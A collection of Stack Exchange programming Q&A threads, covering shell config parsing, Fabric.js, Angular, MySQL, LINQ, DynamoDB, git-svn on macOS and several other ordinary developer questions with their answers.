text:
Q: How to retrieve values from configuration file for Shell Scripts ( Without the knowledge of Keys ) As per my scenario, Need to collect values from configuration files. But need to access values from the configuration files without specifying the keys.
By the source command I have done it to retrieve values by the following
Configuration.conf

export Name=value
export Age=value
export Address=value

Script.sh
source Configuration.conf

echo $Name
echo $Age
echo $Address

By the above way I could access the values from the configuration files.

I would like access the values without using the key of the configuration files.
In my above scenario, Key will be changing in any form (But values are going to be similar as well my logic). At the script I have to read the values without knowing the Key name. something like the following.
source Configuration.conf
while [ $1 ] // Here 1 is representing the first Key of the configuration file.
do
//My Logics
done

Any help is much appreciated.

A: I would parse the config file using sed and cut. Like this:
sed -n 's/export//p' conf.sh | while read expression ; do
    key=$(cut -d= -f1 <<< "$expression")
    value=$(cut -d= -f2 <<< "$expression")

    # your logic comes here ...
    echo "$key -> $value"
done

Ouput:
Name -> value
Age -> value
Address -> value

A: Assuming the configuration file only contains var=value declarations with each declaration occupying a single line.
configfile=./Configuration.conf

. "$configfile"

declare -A configlist

while IFS='=' read -r key val ; do

  # skip empty / commented lines and obviously invalid input
  [[ $key =~ ^[[:space:]]*[_[:alpha:]] ]] || continue

  # Stripping up to the last space in $key removes "export".
  # Using eval to approximate the shell's handling of lines like this:
  #    var="some thing with spaces" # and a trailing comment.
  eval "configlist[${key##* }]=$val"

done < "$configfile"

# The keys are "${!configlist[@]}", the values are "${configlist[@]}"
#
#for key in "${!configlist[@]}" ; do
#  printf '"%s" = "%s"\n' "$key" "${configlist[$key]}"
#done

for value in "${configlist[@]}" ; do
  : your logic goes here
done

A: Extract the keys from the conf file with grep. Get the values using variable indirection.
keys=( $(grep -oP '\w+(?==)' conf.conf) )
for (( i=0; i < ${#keys[@]}; i++ )); do
    printf "%d\t%s\n" $i "${keys[i]}"
done
echo
source conf.conf
for var in "${keys[@]}"; do
    printf "%s\t=> %s\n" "$var" "${!var}"
done

0   Name
1   Age
2   Address

Name    => name_value
Age     => age_value
Address => addr_value


text:
Q: Removing selected object rectangle in Fabric.js When I click a circle, the rectangle is created around of circle.How can I remove it? http://jsfiddle.net/yrL4eLsn/4/
var canvas = new fabric.Canvas(document.getElementById('c'));

var rect = new fabric.Rect({
    width: 100,
    height: 100,
    left: 50,
    top: 50,
    fill: 'rgba(255,0,0,0.5)'
});
var circle = new fabric.Circle({
    radius: 50,
    left: 175,
    top: 75,
    fill: '#aac'
});

canvas.add(rect);
canvas.add(circle);

A: In FabricJS, the rectangle you are referring called the Border.  On the corners of the border are smaller controls (squares) called the Controls that allow you to manipulate the object.
Both of these can be toggled on or off in the array of settings when you setup your object.
hasBorders
Default: true
When set to false, object's controlling borders are not rendered
hasControls
Default: true
When set to false, object's controls are not displayed and can not be used to manipulate object
So to remove both the borders and the controls, update your circle declaration to this:
var circle = new fabric.Circle({
    radius: 50,
    left: 175,
    top: 75,
    fill: '#aac',
    hasControls: false,
    hasBorders: false
});

One other option would be to to modify the color of the Border.
borderColor
Default: "rgba(102,153,255,0.75)"
Color of controlling borders of an object (when it's active)
Styling of the Controls is through yet another option:
cornerColor
Default: "rgba(102,153,255,0.5)"
Color of controlling corners of an object (when it's active)
cornerSize
Default: 12
Size of object's controlling corners (in pixels)

A: EDIT:
Ok after looking at your JSFiddle, you are really asking how to use the jQuery canvas api. Can't help you there, but it looks like there are methods for moving/updating objects after they've been placed on a canvas.
The original answer (below) is for plain javascript on a plain canvas.
You don't. A single canvas doesn't have the concept of 'layers' or remember what objects were placed where.
You have a few options:
1) Repaint the canvas and this time don't draw the rectangle.
2) Draw two canvases layered on top of each other and toggle the visibility of    the one containing the rectangle.
3) Draw a white rectangle on top of the rectangle you just drew (or whatever the background color is)
Option 1 is my preferred way. Option 2 is more complexity than you need, unless you're going to start creating a very complex image. Option 3 seems hacky and easy to break.
Regarding #1 - The painting of the canvas happens very, very fast, so it's safe to redraw the canvas several times per second (in the case of performing animation, e.g.,) without incurring much of a performance hit.

redpajama_set_name: RedPajamaStackExchange


text:
Q: Using instantiated dependency in NgModule I have the root AppModule in which I describe dependencies and I have @Injectable JwtLocalStorage. I wonder how can I pass JwtLocalStorage.prototype.getToken() as tokenGetter in provideAuth(). Is it possible? What I should to do for that?
app.module.ts
@NgModule({
    // ...
    providers: [
        // ...
        provideAuth({
            tokenGetter: () => JSON.parse(localStorage.getItem(TASK_DI_CONFIG.jwtName)),
        }),
        { provide: APP_CONFIG, useValue: TASK_DI_CONFIG },
        { provide: JwtStorage, useClass: JwtLocalStorage }
    ],
    bootstrap: [
        AppComponent
    ]
})
export class AppModule {

}

jwt-local-storage.ts
@Injectable()
export class JwtLocalStorage implements JwtStorage {
    constructor(
        @Inject(APP_CONFIG) private config: AppConfig
    ) {

    }

    getToken() {
        return JSON.parse(localStorage.getItem(this.config.jwtName));
    }
    // ...
}

P.S. I'm using Angular 2.0.0-rc.5

A: I solved this issue by using service factory.
Solution looks like this
@NgModule({
    // ...
    providers: [
        // ...
        {
            provide: AuthHttp,
            useFactory: (http: Http, jwtStorage: JwtStorage) => {
                return new AuthHttp(new AuthConfig({
                    tokenGetter() {
                        return jwtStorage.getToken();
                    }
                }), http);
            },
            deps: [Http, JwtStorage]
        }
    ]
})
export class MyAwesomeModule {

}


text:
Q: JavaScript and DataTable I would like retrieve object value in a dataTable from JavaScript.
My oject returned is a ResponseStatistic_1 in my Web Service
[OperationContract]
    [WebInvoke(Method = "GET", ResponseFormat = WebMessageFormat.Json)]
    ResponseStatistic_1 Statistic_1();

Here is my ResponseStatistic_1.cs
public class ResponseStatistic_1 : IBaseClientEntity
{
    public ResponseStatistic_1()
    {

    }

    public ResponseStatistic_1(Statistic_1 [] items) : this()
    {
        this.Items = items;
    }

    public Statistic_1[] Items
    {
        get;
        set;
    }
}

Here is my Statistic_1.cs
public class Statistic_1
{
    private string _geografisch_zone;
    private decimal[] _sum;
    private int _yearStart;
    private int _yearEnd;

    public Statistic_1()
    {
     ...
    }

    public string Geografisch_zone
    {...
    }

    public decimal[] Sum
    {
     ...
    }

    public int YearStart
    {
     ...
    }

    public int YearEnd
    {
     ...
    }
}

Here is my code in JavasCript :
function getStatistic1() {

var response;
var allstat1 = [];

$.ajax({
    type: 'GET',
    url: 'http://localhost:52768/Service1/Statistic_1',
    contentType: 'application/json; charset=utf-8',
    dataType: 'json',
    success: function (msg) {
     response = msg.d;
     for (var i = 0; i < response.length; i++) {

         allstat1[i] =**???**

     }

         fillData(allstat1);**???**

    },
    error: function (e) {
        alert("error loading statistic 1");
    }
})
}

function fillData(data) {

$('#table_campaigns').dataTable({
    **???**
});
}

Is this in this manner should we do?

A: The solution was :
allyearstat1[0] = [response.Items[0].PropertyName, response.Items[0].PropertyName];

Ans to fill the dataTables :
$('#table_statistic_1').dataTable({

    'aaData': data,
    'aoColumns': [
        { "sTitle": ""},
        { "sTitle": allyearstat3[0][0] },
        { "sTitle": allyearstat1[0][1] }
    ],

});


text:
Q: How to setup flatTernaryExpressions in prettier VSCode? I have configured prettier for formatting documents in VSCode. When I format document, it formats like below
function fun1(value: string): string {
    return <condition_1>
        ? "string1"
        : <condition_1>
        ? "string2"
        : <condition_2>
        ? "string2"
        : "string3"

I am expecting formatting like this
function fun1(value: string): string {
    return <condition_1>
        ? "string1"
        : <condition_1>
            ? "string2"
            : <condition_2>
                ? "string2"
                : "string3"


text:
Q: MySQL - Select Statement Some background: I am creating a POS system and have a MySQL Database. The design of my database is one table "tblProducts" is keeping track of product UPC, description, price, etc. The other table "tblStock" is keeping track of quantity, min and max. There is a FK connecting UPC's between tblStock and tblProducts. When I scan a product into my program, it adds the UPC to tblStock.
Problem: I need to SELECT from my database all products that are:

*

*"Quantity" < "Max"

*"Ordered_Flag" = 0

I have this working, however the tricky part I need help with is that if 1) is true, I need all products that have the exact same description to also show, even if those products are not below the Max value and if those UPC's are not even in tblStock
The reason for needing products with the same description is my workaround to suppliers having different codes for the same product
Let me know if you need a better explanation... I had a hard time trying to put this in words
Here is what I have so far
SELECT p.id, p.upc, p.description, p.purchasePrice, p.salePrice, p.supplier, p.supplierSku, p.moveCode,
       s.quantity, s.min, s.max, s.orderedFlag
FROM tblProducts p
INNER JOIN tblStock s ON p.upc = s.upc
WHERE s.orderedFlag = 0 AND s.quantity < s.max
ORDER BY p.description, p.purchasePrice;

DBFIDDLE: https://www.db-fiddle.com/f/ctM5CK5myvor7PhFYPqEDq/6
When I run my query below, it excludes ID 5 because it is not in the tblStock

A: It sounds to me like you need to index tblProducts.description and union a second select:
SELECT p.id, p.upc, p.description, p.purchasePrice, p.salePrice, p.supplier, p.supplierSku, p.moveCode, s.quantity, s.min, s.max, s.orderedFlag
FROM tblStock s
INNER JOIN tblProducts p ON p.upc = s.upc
WHERE s.orderedFlag = 0 AND s.quantity < s.max

UNION ALL

SELECT p.id, p.upc, p.description, p.purchasePrice, p.salePrice, p.supplier, p.supplierSku, p.moveCode, s.quantity, s.min, s.max, s.orderedFlag
FROM tblStock s
INNER JOIN tblProducts p ON p.description = s.description AND p.upc <> s.upc
WHERE s.orderedFlag = 0 AND s.quantity < s.max

ORDER BY description, purchasePrice;

(I switched the order of your tables; it is usually more readable to make the only table you are filtering on be the FROM table.)
You could just join on the description or the upc matching, but that likely will not perform as well.

A: I used your query as a temporary table and joined it again with tblProducts on the  description column.
SELECT * FROM (
    SELECT p.id, p.upc, p.description, p.purchasePrice, p.salePrice, p.supplier, p.supplierSku, p.moveCode,
       s.quantity, s.min, s.max, s.orderedFlag
    FROM tblProducts p
       INNER JOIN tblStock s ON p.upc = s.upc
    WHERE s.orderedFlag = 0 AND s.quantity < s.max
       ORDER BY p.description, p.purchasePrice
) AS tmp
    LEFT JOIN tblProducts AS b ON tmp.description = b.description

https://www.db-fiddle.com/f/t8xKa2kZQGrXU5ocdMMUwX/0
I'm not sure if that's what you want.


text:
Q: Android Java Bitmap.getPixels returns array filled with only -1 as values I'm having a problem, where I basically want to analyse a Bitmap to find the lowest pixel that is not white on the bitmap. That for I wanted to to loop through every row of pixels of the bitmap. See the code:
Bitmap bmp = BitmapFactory.decodeFile(fileName);
for(int i = 0; i < bmp.getHeight(); i++){
    int[] pixels = new int[bmp.getWidth()];
    bmp.getPixels(pixels, 0, bmp.getWidth(), 0, i, bmp.getWidth(), 1);
    //Now when a look at the pixels array at this point all the values are set to -1 everytime
}

The fileName is valid and the bitmap is loaded, I have double-checked that. Also the pixels cannot all have the same color, because when I look at the file in an image-Viewer it looks like a normal image.
I'm really bored of this problem and I was searching for a few hours and did not find anything useful.
I think it may have something to do with the third parameter, the stride, I do still not understand fully what that parameter is for. Thanks in advance

A: It's also possible you're getting the color value with an 4 byte color code, instead of 3 byte color code, where most significant byte is used for transparency. There is no transparency in a bitmap so that byte can be ignored. In other words, you're getting 0xFF000000 for black, which is -16777216 if you're using int(which is a signed 32 bits, or four bytes, and so the leading bit is 1 making it negative) and 0xFFFFFFFF for white, which is -1 if you're using int.
I have found this happens in android when a bitmap has been used for an android View. It does not happen in my experience when you get a bitmap from a camera capture or an image file.
The solution I used was to mask out the transparency byte so none of my color codes are recognized as negative:
int color = pixels[i] & 0x00FFFFFF;

A: (Can't add comment. So putting it as answer)
The stride parameter is important.
It is number of bytes used for storing one image row.
It can be same as the width - but may not be.
Your bitmap properties are important when you are reading it as bytes. If it is a 24bit RGB bitmap, and if it has a width of 100 pixels, it needs 3 * 100 = 300 bytes. So stride is 300. If width is not a multiple of 4, it will need as many more bytes to make it 4-byte aligned.
So, check image parameters and try giving correct stride value.


text:
Q: Question about pronoun who I was writing something like: Speaking is an umbrella term itself who encompasses grammar, vocabulary, fluency and accuracy and pronunciation.
Herein lies two problem, 1.can i use who here?
2.does this sentence make sense? i'm not  sure if i used umbrella term properly here
Please help me and do not be so pedantic, thanks in advance.

A: It should be:

Speaking is an umbrella term itself which encompasses grammar, vocabulary, fluency, accuracy and pronunciation.

*

*Can I use who here?

No we use who to refer to persons/people, if you're referring to inanimate objects/abstract subjects, it is preferred to use "which".

*Does this sentence make sense? I'm not sure if I used umbrella term properly here

No but with my suggested revisions, it will make sense. Yes, you used the term "umbrella term" correctly.

A: 'Who' is usually only used for people. I would use 'which'. Some people use 'that'. I would also remove the first 'and' from your sentence and place inverted commas around 'speaking'.


text:
Q: "paged" in WP_Query returns 0 posts If i don't supply a paged value (get the first page), it works. But when i try to get the next page by doing paged => 2  it doesn't find anything even though there are plenty of posts to get.
That's the first page showing the first ten posts. It works fine. If you scroll to the bottom and open the "Ladda fler" link in a new tab (otherwise it will ajax it), it doesn't find anything.
At the top of the page you see the arguments i pass to WP_Query, for debugging purposes. As you can see, on page two i also pass paged => 2 which returns nothing.
Is there something more i need to supply? Am i missing something?

A: Isn't it so that you have exactly 10 posts and you're showing them all on first page.

$found_posts - The total number of posts found matching the current
  query parameters

found_posts on your first page shows 10. All of these posts are shown on first page. So there are no posts to show on second page - therefore it's empty.


text:
Q: Get List of dates from object Ive read a few threads and not sure how to get the earliest and the latest date from a range.
Example of data (most columns skipped for brevity)
CustID StartDate   EndDate
1       01/01/2015  01/01/2015
2       03/01/2015  03/01/2015
3       03/01/2015  05/01/2015
4       03/01/2015  10/01/2015

The UI allows the user to select a date from a calendar control. It should then  get all the dates that fall within the range above, so if a user selects
02/01/2015 - nothing is returned as no startDate or EndDate match this date/range
If they select 01/01/2015 then i would expect to to get the following dates
01/01/2015
03/01/2015
04/01/2015
05/01/2015
.... to 10/01/2015

Notice the date 02/01/2015 is NOT included.
If the user selects 03/01/2015 then it will return all the dates up until 10/01/2015.
To achieve this i wrote the code
public List<DateTime> GetDates()
{

    IEnumerable<Customers> Dates = dc.Customers.Where(d => d.StartDate.Value >= DateTime.Now );

    DateTime FromDate = Dates.Where(f => f.StartDate.HasValue).Min(f => f.StartDate).Value;
    DateTime ToDate = Dates.Where(t => t.EndDate.HasValue).Max(f => f.EndDate).Value;

    IEnumerable<DateTime> AllDates = Enumerable.Range(0, int.MaxValue)
                 .Select(x => FromDate.Date.AddDays(x))
                 .TakeWhile(x => x <= ToDate.Date);

    return AllDates.ToList();
}

but its not returning the dates i expected. With this code if i select 01/01/2015, it returns all the dates? Where am i going wrong?

A: My guess is that he's trying to populate a calendar control with dates that have already been selected by other customers, so the user can't select them, but he's trying to reduce the number of items returned to a smaller set.  Of course the example data would be wrong then as it already has overlapping dates, so...
First pass:
public List<DateTime> GetDates()
{

    IEnumerable<Customers> Dates = dc.Customers
      .Where(d => d.StartDate.Value >= DateTime.Now);

    var FromDate = Dates.Where(f => f.StartDate.HasValue)
      .Min(f => f.StartDate).Value;
    var ToDate = Dates.Where(t => t.EndDate.HasValue)
      .Max(f => f.EndDate).Value;

    IEnumerable<DateTime> AllDates = Enumerable.Range(0, int.MaxValue)
                 .Select(x => FromDate.Date.AddDays(x))
                 .TakeWhile(x => x <= ToDate.Date)
                 .Where(x=>dc.Customers.Any(c=>x>=c.StartDate && x<=c.EndDate));

    return AllDates.ToList();
}

This is a better solution, but returns all dates in all ranges, further reduce by adding a where clause where you need to.  Put it before the .ToList if you really want to exclude all the ranges that don't have a startdate >= your selection, or put it at the end if you actually want to to include them, but not return the portion that is < your selection (more likely).
public List<DateTime> GetDates()
{
    return db.Customers
      .ToList()
      .Select(pair =>
             Enumerable.Range(0,(int)(pair.EndDate - pair.StartDate).TotalDays+1)
                       .Select(days => pair.StartDate.AddDays(days)))
      .SelectMany(x=>x)
      .Distinct();
}

Bonus:
/* DateTime extension for ranges of dates */
public static class DateTimeExtensions
{
    public static IEnumerable<DateTime> EnumerableTo(this DateTime self, DateTime toDate)
    {
        for(var d=self;d<=toDate;d=d.Date.AddDays(1))
           yield return d;
    }
}
void Main()
{
    /* Your example data */
    var Customers=new [] {
      new { id=1,StartDate=new DateTime(2015,1,1),EndDate=new DateTime(2015,1,1)},
      new { id=2,StartDate=new DateTime(2015,1,3),EndDate=new DateTime(2015,1,3)},
      new { id=3,StartDate=new DateTime(2015,1,3),EndDate=new DateTime(2015,1,5)},
      new { id=4,StartDate=new DateTime(2015,1,3),EndDate=new DateTime(2015,1,10)},
    };

    /* The query */
    var results=Customers
       .Select(pair => pair.StartDate.EnumerableTo(pair.EndDate))
       .SelectMany(x=>x)
       .Distinct();

    results.Dump();
}

A: If what you want is a union of start dates and end dates for all customers where the startdate is greater than the user selected date, then why not something like
return (from costumer in dc.Customers select costumer.startdate
           where costumer.startdate > UserSelectedDate)
   .Union
       (from costumer in dc.Customers select costumer.enddate
           where costumer.startdate > UserSelectedDate)
   .Distinct()

if what you want, instead, is all the start dates and end dates where the user selected falls within that range, then you would do
return (from costumer in dc.Customers select costumer.startdate
           where costumer.startdate <= UserSelectedDate and
                 UserSelectedDate <= costumer.enddate)
   .Union
       (from costumer in dc.Customers select costumer.enddate
           where costumer.startdate <= UserSelectedDate and
                 UserSelectedDate <= costumer.enddate)
   .Distinct()


text:
Q: Filterexpression for DynamoDB Client for JS AWS SDK yields unexpected empty result While trying to implement a DynamoDB scan within a Lambda function using the AWS SDK for JS (version 2.1051.0) I am facing some unexpected behavior.
Context:
I have a DynamoDB table named group with exactly one item in it. The primary key for the objects is _id but I want to scan all objects and want to filter by another attribute named groupOwner.
Expected Behavior:
I implemented a function which looks like the one below. It should retrieve all items of the Dynamo DB table where the attribute groupOwner is equal john. (Which by accident happens to apply to the only item of the table.)
const db = new AWS.DynamoDB.DocumentClient();
var params = {
    TableName: "group",
    ExpressionAttributeValues: {
        ':username': {
            S: "john"
        }
    },
    FilterExpression: 'groupOwner = :username'
};
console.log("Params: "+JSON.stringify(params))
const queryResponse = await db.scan(params).promise();
console.log("Query response: "+ JSON.stringify(queryResponse))

Within the query response I expect to find the only object as result.
Observed behavior
According to the Cloudwatch logs the scan + filter yields to an empty response. There are no items within the query response:
2022-01-07T15:56:01.822Z    f20009ef-067a-4b7f-9c5c-fe34b80167ca    INFO    Params: {
    "TableName": "group",
    "ExpressionAttributeValues": {
        ":username": {
            "S": "john"
        }
    },
    "FilterExpression": "groupOwner = :username"
}
2022-01-07T15:56:02.363Z    f20009ef-067a-4b7f-9c5c-fe34b80167ca    INFO    Query response: {
    "Items": [],
    "Count": 0,
    "ScannedCount": 1
}

Now the obscure part
Naturally I was thinking I messed up the filter expression and tinkered around. But after some failed attempts I tried to recreate the problem using the AWS console and AWS CLI. Using the same parameters, both alternative solutions produce a correct response.
AWS CLI
Running the command below returned the filtered object. Note that all the parameters of are the same as in the AWS SDK.
aws dynamodb scan --table-name group \
    --expression-attribute-values '{":username":{"S": "john"}}' \
    --filter-expression "groupOwner = :username" \
    --output json

Output:
{
    "Items": [
        {
            "_id": {
                "S": "a677968a-3d8b-40f2-806c-3ea32237b755"
            },
            "groupMember": {
                "L": []
            },
            "groupName": {
                "S": "My New Group"
            },
            "groupOwner": {
                "S": "john"
            },
            "blockedMember": {
                "L": []
            }
        }
    ],
    "Count": 1,
    "ScannedCount": 1,
    "ConsumedCapacity": null
}

AWS Console
Also using the intuitive Web UI, I was able to see the expected result:
AWS console screenshot
What now?
I cannot figure out why this JS snippet is not working for me and I hope you could help me identify what I've been doing wrong.
Already thank you in advance!

A: You are using the SDK's DocumentClient, which:

simplifies working with items in Amazon DynamoDB by abstracting away the notion of attribute values. This abstraction annotates native JavaScript types supplied as input parameters, as well as converts annotated response data to native JavaScript types

Change your filter parameters to:
const params = {
    TableName: "group",
    ExpressionAttributeValues: {
        ":username": "john"
    },
    FilterExpression: "groupOwner = :username"
};


text:
Q: How to dummy mass update via Apex Data Loader? I built a trigger on Object 1 which has a field, field1 which when updated will calculate another field, field2 in same object (had to use trigger for it's complexity).
Now my question is that field1 is already available in the object, for which I have to perform update in order to fill up field2 field. So how do I prepare the csv file for the dummy update?
Is my following way the right?

*

*First download csv containing the record ids and with field1.

*Update with same file with data loader.

Thanks in advance.

A: It looks like your trigger doesn't check to see if field1 has changed, only that it is set. This means that all you need to do is run some anonymous apex to get the trigger to fire. You don't even need to change any fields on the records. If you execute the code below it will cause your trigger to fire:
update [select id from Object1 where field1 != null and field2 = null];

If your trigger is not bulkified then you may hit some limits. If you do you can fire the trigger on less records in a single transaction until you get them all updated. See the code below which will only update 1000 records.
update [select id from Object1 where field1 != null and field2 = null limit:1000];


text:
Q: git: svn is not a git command - Mac I had no issues yesterday but today I cannot run git svn anymore. It says:
git: 'svn' is not a git command. See 'git --help'.

The most similar commands are
    fsck
    mv
    show

I don't know if it's relevant but since yesterday I updated npm(6.14.4) and node (v12.6.0).
I'm on macOs Catalina

A: UPDATE: SEPTEMBER 2020
It seems the end is here. Following the original suggestion will delete subversion forever. I found a verified version of Subversion for MacOS and downloaded and installed it. I then needed to add Subversion to the $PATH variable to supersede Apple's svn (which just prints a message saying subversion is no longer included). To add it, add this line to your ~/.zprofile:
export PATH=/opt/subversion/bin:$PATH

This will fix svn. I still have not figured out how to fix git svn.
NB: I also am aware that one can get subversion from homebrew, but homebrew is prohibited by my company's policies. If homebrew works better for somebody, please post your results here.
ORIGINAL ANSWER: MARCH 2020
Same thing happened to me today. After software update, git svn and svn are gone. It seems that Apple is deprecating Subversion in XCode:

Command line tool support for Subversion — including svn, git-svn, and related commands — is no longer provided by Xcode. If you need Subversion or related command line tools, install the Command Line Tools package by running xcode-select --install. (50266910)

In the mean time, I was able to resolve this situation by deleting the XCode command line tools and reinstalling them:
sudo rm -Rf /Library/Developer/CommandLineTools
sudo xcode-select --install

After that, git svn and svn were back. Hopefully that will give us a stay of execution before final deprecation and deletion.

A: *

*First install git and svn with brew

brew install git
brew install svn

*Use system default perl at /usr/bin/perl
if you installed perl with brew, please uninstall it.
brew uninstall perl
use which perl to check if using the system default perl at /usr/bin/perl. Make sure the git-svn use the #!/usr/bin/perl
use following command to check which perl is git-svn using
$ head -1 $(brew --prefix)/opt/git/libexec/git-core/git-svn
#!/usr/bin/perl

*check you svn's perl version at /usr/local/Cellar/subversion/1.14.1/lib/perl5/site_perl/5.18.4

*If you got error Can't locate SVN/Core.pm in @INC
you also need to set PERL5LIB path, for Catalina:
export PERL5LIB=/usr/local/lib/perl5/site_perl/5.18.4/darwin-thread-multi-2level
for Big Sur:
export PERL5LIB=/usr/local/lib/perl5/site_perl/5.28.2/darwin-thread-multi-2level
Reference: https://github.com/Homebrew/homebrew-core/issues/52490

A: I ran into the same problem after upgrading macOS from version 10.15 (Catalina) to 10.15 (Big Sur).
Thank you very much for your answer jqgsninimo. Those 3 steps took me 99% of the way. But then I got the error

Can't locate SVN/Core.pm in @INC (you may need to install the SVN::Core module) (@INC contains: /usr/local/Cellar/git/2.30.0/share/perl5 /Applications/Xcode.app/Contents/Developer/Library/Perl/5.28/darwin-thread-multi-2level /Library/Developer/CommandLineTools/Library/Perl/5.28/darwin-thread-multi-2level /Library/Perl/5.28/darwin-thread-multi-2level /Library/Perl/5.28 /Network/Library/Perl/5.28/darwin-thread-multi-2level /Network/Library/Perl/5.28 /Library/Perl/Updates/5.28.2 /System/Library/Perl/5.28/darwin-thread-multi-2level /System/Library/Perl/5.28 /System/Library/Perl/Extras/5.28/darwin-thread-multi-2level /System/Library/Perl/Extras/5.28) at /usr/local/Cellar/git/2.30.0/share/perl5/Git/SVN/Utils.pm line 6.
BEGIN failed--compilation aborted at /usr/local/Cellar/git/2.30.0/share/perl5/Git/SVN/Utils.pm line 6.
Compilation failed in require at /usr/local/Cellar/git/2.30.0/share/perl5/Git/SVN.pm line 25.
BEGIN failed--compilation aborted at /usr/local/Cellar/git/2.30.0/share/perl5/Git/SVN.pm line 32.
Compilation failed in require at /usr/local/Cellar/git/2.30.0/libexec/git-core/git-svn line 23.
BEGIN failed--compilation aborted at /usr/local/Cellar/git/2.30.0/libexec/git-core/git-svn line 23.

If anyone else experiences the same problem, the solution for me was to run this command
export PERL5LIB=/usr/local/lib/perl5/site_perl/5.28.2/darwin-thread-multi-2level

I found the commands from
this GitHub answer

A: On Monterey, it was just:
brew install git-svn

A: Thanks to BitByteDog for his answer.
I encountered this problem again under the macOS Ventura v13.1, and solved the problem by installing git-svn.
brew install git-svn

Below is the original answer.

I found a simple fixed solution for macOS Big Sur v11.1 (20C69) on GitHub.

*

*make sure install git, svn, perl with brew.
brew install git
brew install perl
brew install subversion

*edit /usr/local/Cellar/git/2.30.0/libexec/git-core/git-svn.
replace #!/usr/bin/perl with #!/usr/local/bin/perl

*git svn works.

The above solution only works under perl 5.32.0.
When I updated the perl to 5.32.1, git svn can no longer work.

Can't locate SVN/Core.pm in @INC (you may need to install the SVN::Core module)...

I found a solution on GitHub.

Now subversion built with system perl, so we can add an environment
variable to solve this problem:
export PERL5LIB=/usr/local/lib/perl5/site_perl/#{perl_version}/darwin-thread-multi-2level

You should replace #{perl_version} with system perl's version.
For macOS Big Sur:
export PERL5LIB=/usr/local/lib/perl5/site_perl/5.28.2/darwin-thread-multi-2level


text:
Q: Create solution file(.sln) and project files(.csproj) dynamically I am creating code generation tool (auto code generation based on table structure) as a Windows forms application in Visual Studio 2012 using .NET Framework 4.0. It's generating the portable object, controller, WCF services and business logic code files.
All code files bundle in the appropriate project and all project bundle in one solution. The solution and projects need to create dynamically through program.
I have tried to create the solution and project using Visual Studio Add-in project. It is working fine in Add-In project (separate solution). The OnConnection method call automatically in Add-in project. Now I want to implements this in my code generation tool. While debugging in Add-In project the application variable shown like COM object.
I am tried to pass the value for OnConnection method from code generation tool, it throws an error (I passed this object for application variable). I really don't know how to call this method from my code generation tool. Anyone help this?
Code
 private DTE2 _applicationObject;
 private AddIn _addInInstance;

public void OnConnection(object application, ext_ConnectMode connectMode, object addInInst, ref Array custom)
{
    _applicationObject = (DTE2)application;
    _addInInstance = (AddIn)addInInst;
    createProjectsFromTemplates(_applicationObject);
}

public void createProjectsFromTemplates(DTE2 dte)
{
    try
    {
        Solution2 soln = (Solution2)dte.Solution;
        string csTemplatePath;
        string csPrjPath = "SamplePath\\TestCreateProject";
        csTemplatePath = soln.GetProjectTemplate("WpfApplication.zip", "CSharp");
        System.Windows.Forms.MessageBox.Show("C# template path: " + csTemplatePath);

        soln.AddFromTemplate(csTemplatePath, csPrjPath, "NewWCFCSharpAutoGeneratorProject", false);

        Project prj;
        ProjectItem prjItem;

        String itemPath;
        // Point to the first project (the Visual Basic project).
        prj = soln.Projects.Item(1);

        prjItem = prj.ProjectItems.AddFromFileCopy("SampelCSharp.cs");
    }
    catch (System.Exception ex)
    {
        System.Windows.Forms.MessageBox.Show("ERROR: " + ex.Message);
    }
}

A: You can instantiate a VS from the host application and generate the files. Hope that will work. The below code works well for me.
Use the following namespaces to get work the below given code.
Namespaces:
using System;
using Extensibility;
using EnvDTE;
using EnvDTE80;
using Microsoft.VisualStudio.CommandBars;
using System.Resources;
using System.Reflection;

Code:
EnvDTE80.DTE2 dte2;
dte2 = (EnvDTE80.DTE2)System.Runtime.InteropServices.Marshal.GetActiveObject("VisualStudio.DTE.11.0");

Connect objConnect = new Connect();
Array objArray = null;
objConnect.OnConnection(dte2, ext_ConnectMode.ext_cm_UISetup, null, ref objArray);

A: I got this reference it is really useful.
http://rcos.rpi.edu/projects/unmake/commit/programmatically-launch-devenv-generate-a-solution-and-save-it/

A: You can use this. This is for .cs project files and framewwork above .NET 2.0 versions. VB project sources are not compatible.
protected void Build(string project)
    {

        Engine engine = new Engine();

        BuildPropertyGroup properties = new BuildPropertyGroup();

        properties.SetProperty(@"Configuration", @"Debug");

        // Point to the path that contains the .NET Framework 2.0 CLR and tools
        engine.BinPath = @"c:\windows\microsoft.net\framework\v3.5";

        // Instantiate a new FileLogger to generate build log
        FileLogger logger = new FileLogger();

        // Set the logfile parameter to indicate the log destination
        string str   = @"logfile=D:\temp";
               str  += project.Substring(project.LastIndexOf("\\"), project.LastIndexOf(".") - project.LastIndexOf("\\")) + ".log";
        logger.Parameters = str;

        // Register the logger with the engine
        engine.RegisterLogger(logger);

        // Build a project file
        bool success = engine.BuildProjectFile(project, new string[] { "build" }, properties);

        //Unregister all loggers to close the log file
        engine.UnregisterAllLoggers();

        using (BinaryWriter writer = new BinaryWriter(File.Open(@"D:\temp\Prj.log", FileMode.Append)))
        {
            if (success)
            {
                writer.Write("\nBuild Success :" + project.Substring(project.LastIndexOf("\\")));
            }
            else
            {
                writer.Write("\nBuild Fail :" + project.Substring(project.LastIndexOf("\\")));
            }
        }
    }


text:
Q: Is there any thread dump method with Python like Java thread dump? Currently I want to find any Python tool can let me monitor another Python process' threads status. I know there is already a similar question
But the solution does not work in my case as it only dumps the process' own threads status.
Is it possible to do this in Python?
Thanks!

A: As far as I know, there's no built-in support for this, but I've wanted it myself as well, and that's why I wrote my "PDM" library. Maybe you'll find it useful as well.

A: There is something that I tried to monitor thread statuses in python. This code instruments the python code and may hamper performance overall. Since I wrote this code for my company it is proprietary and I can't post it on SO. But to your question whether one can output thread status of another python process, the answer is a resounding yes.

A: You could try installing and running the psutils library.


text:
Q: Creating a function using the binary search I am trying to use a function to  find a  number in an array using the binary search. The code runs in visual studio community but does not work in code blocks. It just shows  found.Would appreciate if some could point out why it's not working. This is the function
void sort(int array[7],int num)
     {
        int left=0,right=7;
        while (left<=right)
         {
          int mid = (left+right)/2;
          if(array[mid]==num)
           {
            cout<<"found";
            break;
           }
          else if(num<array[mid])
            right = mid-1;
          else
             left = mid+1;
      }
      if(left > right) cout<<"not found";
    }

A: When you write, int array[7], then you create an array which can be indexed 0..6. Therefore, you should use right = 6.
Also, be very careful when you write right = mid - 1 or left = mid + 1. You need to be sure that the new values are within 0..6. E.g., left == 0, right == 1, mid == 0 - after this, you say right = - 1. That's not ok, you need boundary checks.


text:
Q: Create an index that only cares if a DateTime field is null or not? I have many tables with a nullable DeletedDate column. Every query I write needs to check that the record is not deleted, but doesn't care when it was deleted.
